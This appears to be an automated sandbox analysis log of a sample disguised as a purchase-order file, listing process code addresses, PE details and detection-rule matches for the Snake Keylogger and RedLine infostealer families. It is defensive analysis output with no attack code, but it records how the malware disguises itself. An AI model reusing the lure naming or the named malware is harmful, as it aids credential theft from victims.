Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_070B15C8	9_2_070B15C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_070B5C46	9_2_070B5C46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F1AFE8	9_2_09F1AFE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F13920	9_2_09F13920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F13910	9_2_09F13910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F11918	9_2_09F11918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F11908	9_2_09F11908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F12DD0	9_2_09F12DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F12DC1	9_2_09F12DC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F1DC08	9_2_09F1DC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F11FF1	9_2_09F11FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F10040	9_2_09F10040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F12000	9_2_09F12000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F10006	9_2_09F10006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F1C298	9_2_09F1C298
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F11230	9_2_09F11230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F11220	9_2_09F11220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F13791	9_2_09F13791
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F13715	9_2_09F13715
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F126E8	9_2_09F126E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_09F126D8	9_2_09F126D8
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B8A810	15_2_00B8A810
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B67C00	15_2_00B67C00
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B679F0	15_2_00B679F0
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B92D40	15_2_00B92D40
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B8EEB0	15_2_00B8EEB0
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B892A0	15_2_00B892A0
Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B893B0	15_2_00B893B0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_00427C00	17_2_00427C00
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_0044A810	17_2_0044A810
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_00452D40	17_2_00452D40
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_004279F0	17_2_004279F0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_004492A0	17_2_004492A0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_0044EEB0	17_2_0044EEB0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_004493B0	17_2_004493B0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_0089CA20	18_2_0089CA20
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_00898789	18_2_00898789
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008BA810	18_2_008BA810
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008979F0	18_2_008979F0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008B92A0	18_2_008B92A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008B93B0	18_2_008B93B0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_00897C00	18_2_00897C00
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008C2D40	18_2_008C2D40
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008BEEB0	18_2_008BEEB0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D3A810	19_2_00D3A810
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D17C00	19_2_00D17C00
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D179F0	19_2_00D179F0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D42D40	19_2_00D42D40
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D3EEB0	19_2_00D3EEB0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D392A0	19_2_00D392A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D393B0	19_2_00D393B0
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_0057A810	20_2_0057A810
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_00557C00	20_2_00557C00
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_00582D40	20_2_00582D40
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_005579F0	20_2_005579F0
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_0057EEB0	20_2_0057EEB0
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_005792A0	20_2_005792A0
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_005793B0	20_2_005793B0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B3A810	21_2_00B3A810
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B17C00	21_2_00B17C00
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B179F0	21_2_00B179F0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B42D40	21_2_00B42D40
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B3EEB0	21_2_00B3EEB0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B392A0	21_2_00B392A0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B393B0	21_2_00B393B0
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_008622E4	22_2_008622E4
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_00863730	22_2_00863730
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_00863740	22_2_00863740
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_069309F8	22_2_069309F8
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08D40040	22_2_08D40040
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08D42FC0	22_2_08D42FC0
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E328E8	22_2_08E328E8
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E328D8	22_2_08E328D8
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3AB40	22_2_08E3AB40
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3AB30	22_2_08E3AB30
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3BDE0	22_2_08E3BDE0
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3BDCF	22_2_08E3BDCF
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E39E98	22_2_08E39E98
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E30040	22_2_08E30040
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3003E	22_2_08E3003E
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3A2C0	22_2_08E3A2C0
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3A2D0	22_2_08E3A2D0
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E355F8	22_2_08E355F8
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3A6F8	22_2_08E3A6F8
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Code function: 22_2_08E3A708	22_2_08E3A708
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004C7C00	24_2_004C7C00
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004EA810	24_2_004EA810
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004F2D40	24_2_004F2D40
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004C79F0	24_2_004C79F0
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004E92A0	24_2_004E92A0
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004EEEB0	24_2_004EEEB0
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004E93B0	24_2_004E93B0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006C7C00	25_2_006C7C00
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006EA810	25_2_006EA810
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006F2D40	25_2_006F2D40
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006C79F0	25_2_006C79F0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006E92A0	25_2_006E92A0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006EEEB0	25_2_006EEEB0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006E93B0	25_2_006E93B0
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_00687C00	26_2_00687C00
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006AA810	26_2_006AA810
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006B2D40	26_2_006B2D40
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006879F0	26_2_006879F0
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006A92A0	26_2_006A92A0
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006AEEB0	26_2_006AEEB0
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006A93B0	26_2_006A93B0
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_0054A810	27_2_0054A810
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_00527C00	27_2_00527C00
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_00552D40	27_2_00552D40
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_005279F0	27_2_005279F0
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_0054EEB0	27_2_0054EEB0
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_005492A0	27_2_005492A0
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_005493B0	27_2_005493B0
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_0050A810	28_2_0050A810
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_004E7C00	28_2_004E7C00
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_00512D40	28_2_00512D40
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_004E79F0	28_2_004E79F0
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_0050EEB0	28_2_0050EEB0
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_005092A0	28_2_005092A0
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_005093B0	28_2_005093B0
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007FA810	30_2_007FA810
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007D7C00	30_2_007D7C00
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007D79F0	30_2_007D79F0
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_00802D40	30_2_00802D40
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007FEEB0	30_2_007FEEB0
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007F92A0	30_2_007F92A0
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007F93B0	30_2_007F93B0
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BEA810	31_2_00BEA810
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BC7C00	31_2_00BC7C00
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BC79F0	31_2_00BC79F0
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BF2D40	31_2_00BF2D40
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BEEEB0	31_2_00BEEEB0
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BE92A0	31_2_00BE92A0
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BE93B0	31_2_00BE93B0
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B9A810	33_2_00B9A810
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B77C00	33_2_00B77C00
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B779F0	33_2_00B779F0
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00BA2D40	33_2_00BA2D40
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B9EEB0	33_2_00B9EEB0
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B992A0	33_2_00B992A0
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B993B0	33_2_00B993B0
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00B1A810	35_2_00B1A810
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00AF7C00	35_2_00AF7C00
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00AF79F0	35_2_00AF79F0
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00B22D40	35_2_00B22D40
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00B1EEB0	35_2_00B1EEB0
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00B192A0	35_2_00B192A0
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00B193B0	35_2_00B193B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_004028B0	42_2_004028B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00402B90	42_2_00402B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_004073A0	42_2_004073A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00408C60	42_2_00408C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_0040DC11	42_2_0040DC11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00407C3F	42_2_00407C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00406CA0	42_2_00406CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00401650	42_2_00401650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00402F20	42_2_00402F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00402F89	42_2_00402F89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D151EE	42_2_00D151EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D16EAF	42_2_00D16EAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D45980	42_2_00D45980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D539A3	42_2_00D539A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D5515C	42_2_00D5515C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D4D580	42_2_00D4D580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D4C7F0	42_2_00D4C7F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D17F80	42_2_00D17F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_00D43780	42_2_00D43780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_074B0F10	42_2_074B0F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_074B0F20	42_2_074B0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_074B15C8	42_2_074B15C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_074B15B8	42_2_074B15B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 42_2_074B5C46	42_2_074B5C46

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Load Driver

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.3

Source: elevation_service.exe0.9.dr	Static PE information: Number of sections : 12 > 10
Source: elevation_service.exe.9.dr	Static PE information: Number of sections : 12 > 10

Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1426195581.0000000005149000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1426195581.0000000004A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000000.1363270819.0000000000F7E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIJgI.exe4 vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1457423473.00000000081E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1465820251.000000000B90C000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1417300663.000000000137E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs RFQ_PO N89397-GM7287-Order.bat.exe
Source: RFQ_PO N89397-GM7287-Order.bat.exe	Binary or memory string: OriginalFilenameIJgI.exe4 vs RFQ_PO N89397-GM7287-Order.bat.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: RFQ_PO N89397-GM7287-Order.bat.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.6272458.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 22.2.YRtQgzFlDnVSru.exe.36cce48.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 22.2.YRtQgzFlDnVSru.exe.3819e68.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 22.2.YRtQgzFlDnVSru.exe.3819e68.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.63bf478.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
